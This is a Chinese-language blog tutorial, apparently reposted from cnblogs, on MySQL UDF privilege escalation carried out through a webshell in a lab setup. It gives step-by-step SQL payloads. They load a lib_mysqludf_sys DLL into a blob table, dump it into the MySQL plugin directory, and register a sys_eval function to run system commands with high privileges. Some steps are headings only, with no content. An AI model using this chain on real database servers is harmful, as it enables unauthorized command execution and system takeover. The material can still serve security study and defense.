数据库
首页 > 数据库> > mysql udf提权

mysql udf提权

作者:互联网

mysql udf提权

本次测试环境

1. 前置知识:

  1. udf简介:
  2. udf提权原理
    • 在udf.dll文件中自定义一些能够以高权限执行系统命令的函数,然后将该函数导入到mysql数据库中,通过mysql数据库去以高权限执行系统命令。

2. 提权条件

  1. 掌握mysql数据库的账户,该账户对mysql拥有insert和delete权限,以创建和删除函数(最好直接是root账户)
  2. secure_file_priv=(未写路径)

3. 实战复现

3.1 第一种udf提权姿势

3.1.1 先展示一下webshell:

3.1.2 先查看一下mysql的数据库版本:

  1. 查看数据库的版本号
    • payload:
    select version();
    
    • mysql数据库版本:5.5.53
    • 之所以查看mysql的版本号是因为:在不同的mysql版本下,udf.dll文件将要写入的目录是不同的。
      • 在mysql版本 > 5.1 时,需要把udf.dll文件写入到 mysql安装目录下的 lib\plugin文件夹下
      • 在mysql版本 < 5.1 时,需要把udf.dll文件写入到 “win2003的:c:\windows\system32下” 或 “win2000的:c:\winnt\system32下”
        03_查看数据库版本
  2. 查看mysql数据库的位数
    • payload:
    show variables like "%version_%";
    
    • version_complie_os的值为:win32,说明该mysql的版本为32位的。
    • 之所以要看mysql的位数,是因为要保持udf.dll文件的位数与当前数据库位数相同(注意是数据库的位数而不是操作系统的位数),否则在创建函数的时候是报错:ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.dll' (errno: 193 )
      02_查看数据库版本

3.1.3 查看secure_file_priv的值

3.1.4 上传我们提前准备的udf.dll文件

3.1.5 令mysql读入udf.dll文件数据

  1. 我们先创建一个用于临时存储udf.dll文件数据的表:t_tmp

    • payload:
    create table t_tmp(data longblob);
    
    • longblob:是mysql的一个二进制数据类型
    • 在这里用于指明 t_tmp表 的data字段用于存储二进制数据。
      06_创建临时表t_tmp
  2. 将udf.dll文件中的二进制数据导入到该临时表中

    • payload:
    insert into t_tmp values(load_file('D:\\PhpStudy2018\\PHPTutorial\\WWW\\Discuz_X1.5_SC_UTF8\\lib_mysqludf_sys.dll'));
    
    • 注意:上面payload中文件的反斜线要两条(原因是我这是在webshell里面执行的,具体情况具体分析)。
      07_导入数据

3.1.6 将临时表中的数据导出到mysql安装目录下的 lib\plugin文件夹下

  1. 查询mysql的plugin目录所在位置

    • payload:
    show variables like "%plugin%"
    select @@plugin_dir; -- 该语句也可以达到相同效果
    
    • mysql安装目录的plugin文件在:D:\PhpStudy2018\PHPTutorial\MySQL\lib\plugin
      08_导出数据
  2. 若该数据库安装目录不存在 plugin 目录,就创建一个

    • 创建plugin目录
      09_创建目录
  3. 将t_tmp表中的数据导出到D:\PhpStudy2018\PHPTutorial\MySQL\lib\plugin\udf.dll文件中

    • payload:
    select * from t_tmp into dumpfile 'D:\PhpStudy2018\PHPTutorial\MySQL\lib\plugin\udf.dll';
    

    10_导出数据
    11_导出数据

3.1.7 创建 sys_eval 函数

  1. 创建 sys_eval 函数

    • payload:
    create function sys_eval retuens string soname 'udf.dll'
    
    • CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

      • 参数1:是function_name(函数名),我们想引入的函数 是sys_eval。
      • 参数2:是shared_library_name(共享包名称),即 udf.dll’。
        12_创建sys_eval函数
    • 注意:在此处创建函数时,必须是udf.dll文件中已经自定义好的函数(即一定是udf.dll中存在的函数)。我们可以通过十六进制编辑器来查看 udf.dll 文件中自定义了哪些函数,如下图:
      15_查看udf.dll可以创建哪些函数

  2. 查看该函数是否创建成功

    • payload:
    select name from mysql.func;
    

    13_查看创建 sys_eval 函数

3.1.8 使用sys_eval提权

3.1.9 扫尾

3.2 第二种udf提权姿势

标签:函数,plugin,dll,提权,udf,file,mysql
来源: https://www.cnblogs.com/02SWD/p/15858250.html